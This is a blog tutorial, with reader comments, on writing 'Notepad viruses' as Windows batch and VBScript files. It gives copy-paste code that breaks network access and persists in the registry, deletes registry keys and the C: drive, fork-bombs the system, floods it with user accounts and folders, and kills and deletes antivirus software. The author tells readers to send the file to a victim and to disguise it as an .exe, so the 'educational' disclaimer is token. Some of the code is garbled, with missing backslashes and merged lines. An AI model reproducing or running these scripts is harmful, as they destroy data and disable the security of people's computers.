Have you ever thought of creating computer virus by yourself? No need to worry, here is a complete tutorial to let you know how to create simple but dangerous Notepad Virus step by step with an explanation! 😎
how to create notepad virus
As you all know that Virus is nothing but a malicious program which enters into a system without permission and affects the data and the working of the operating system. Viruses do unwanted tasks like replicating itself corrupting user files etc,  so, basically, we are going to create some unwanted scripts, that which we can execute in order to destroy or break the system.

Read More:

Create Notepad Virus Executable(.exe) Using Batch Scripting

 

First of all, what is batch scripting, those who don’t know, take a look below:

“It is simply a text file, containing series of commands, which are executed automatically, line by line when the batch file runs.”

By using Batch File you can create an extremely dangerous virus which can delete the Windows files, format different drives [C:\, E:\], steal data files and information, disable antivirus, firewall, etc.

NOTE: This post is solely and mainly for educational purpose only. I am nowhere responsible for any kind of damage caused by this tutorial, for more info read our disclaimer.

Write a dangerous virus in Notepad/Text Editor

Are you ready to create your first DIY Notepad virus, Let’s get started to rock,

First of all, you need a Windows PC, obviously.  😉

For this tutorial to create simple Notepad Virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a trojan virus using notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.

Must Read:  How to Create Boot Animation Easily for ANDROID

 

Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.

create notepad virus - copy paste the code
Copy (Ctrl+C) and Paste (Ctrl+V) the source code

Note: I am not responsible for any damage or error reporting on Your PC, do it at your own risk.

Warning: Do not try this on your daily working PC.

Have you read my previous posts, it will be great to take a look at;

 

Notepad Virus source codes are Given below:

1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE

2. Delete Key Registry Files

This will delete key registry files, then loops a message

This is dangerous and unrecoverable Notepad Virus.

@ECHO OFF
 START reg delete HKCR/.exe
 START reg delete HKCR/.dll
 START reg delete HKCR/*
 :MESSAGE
 ECHO Your PC has been crashed.Your Dad.
 GOTO MESSAGE

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

5. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

6. Application Bomber

It will start to open different applications repeatedly which will affect system’s performance.

You can also add the application of your choice in above code.

@echo off
 :x
 start winword
 start mspaint
 start notepad
 start write
 start cmd
 start explorer
 start control
 start calc
 goto x

7.Folder Flooder

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

8.User Account Flooder

This will create large no. of the user account on one’s PC and goes on

@echo off
:xnet
user %random% /add
goto x

9.Process Creator

This will create unlimited background processes

%0|%0

10.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

@Echo off
Del C:\ *.* |y

10+. Anti Virus Disabler

This large code will disable any antivirus installed on the system

@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem

 

Must Read:  How To Use Android as Modem to connect to Internet on PC

After copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension “.bat“(without quotes as shown in the image).

create notepad virus- saving virus
Save the file in ALL FILES mode with ‘.bat’ extension

DONE: You have successfully created a Notepad Virus. That’s it, now you’re done doing your work now just you have to send the file to the victim.

create notepad virus- batch file
Done creating a batch file

 

There’s a drawback of a batch file notepad virus, that anyone can open it with notepad and read the commands easily, and delete it if found it harmful. So, to overcome this limitation/drawback, you can use a tool named ‘Batch to Executable Converter’. It will convert the ‘.bat‘ extension into ‘.exe‘ extension. Hence, your Batch file will be converted into a Windows Application. This will helps in convincing your victim to open the file.

Must Read:  How to change Boot Animation Easily on ANDROID [Latest Collection]
create notepad virus-bat to exe
Bat2Exe

Download BatToExe to Easily convert batch files to executables by clicking here

NOTE: This Tutorial is for windows based computer only, these viruses do not work on Linux or MAC.

 

Also Read: 

Wrapping It Up

So, Friends hope you liked the post on how to create notepad virus using batch scripting, I made this tutorial much more descriptive, try to create these virus yourself, in case you encounter any problem and need help feel free to comment, I am always here for your help and don’t forget to share this post with you friends if you found it helpful and enjoyable, also for supporting me to come up with more stuff in near future, Goodbye for now and don’t forget to subscribe to our mailing by filling the form below.

Keep Visiting, Keep Learning.


Related Articles


47 COMMENTS

  1. hello MD i follow all your tutorials, ammazing, great work man

    can you please explain the different virus and worms in your next post

  2. Hello Bro,
    i am having some problem in the antivirus disabler script, it is not working for me,
    btw all other are working fine, thanks for posting.

  3. For some reason when i try to run or open the .bat file it flashes for a second like it’s about to open but then disappears and no matter how many times i try to run it it just won’t work.

  4. All virus works
    But you have to very careful for doing the 10 no.
    Or you will lost your pc

    Bro can you tell me how to enable auto-share like a worm in these virus

  5. Thanks a lot MD Wasil Ansari for this piece of knowledge, we really appreciate it. Pls i will like to reach you personally (through email, skype or any convenient with you), so i can share my personal IT challenges i face with you. I will appreciate the opportunity if given. Thanks in anticipation

  6. i want to know how it works
    like does it work only when the victim opens the notepad
    or when it is transferred in iits pc

  7. Hello, I exe the Folder Flooder on my virtual PC and it has slowed right down so it can not be used. How should I go about fixing this so I can test my other Notepad viruses. Thank you.

    • Are you retarded or something? I have 2 PC’s, 1 for day to day use and gaming etc and 2 for testing, so testing made viruses and checking software etc. Think before you comment thanks

  8. I’m trying to disable Avast with your code but it’s not working 😀 I tried from Task manager – Avast won’t stop even after clicking on KILL.

  9. Hey MD Wasil Ansari, it was a really nice read! I really loved the “Process Creator”. With just 1 line of code, you can create such an awesome virus!!

    Keep posting such stuffs!

LEAVE A REPLY

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.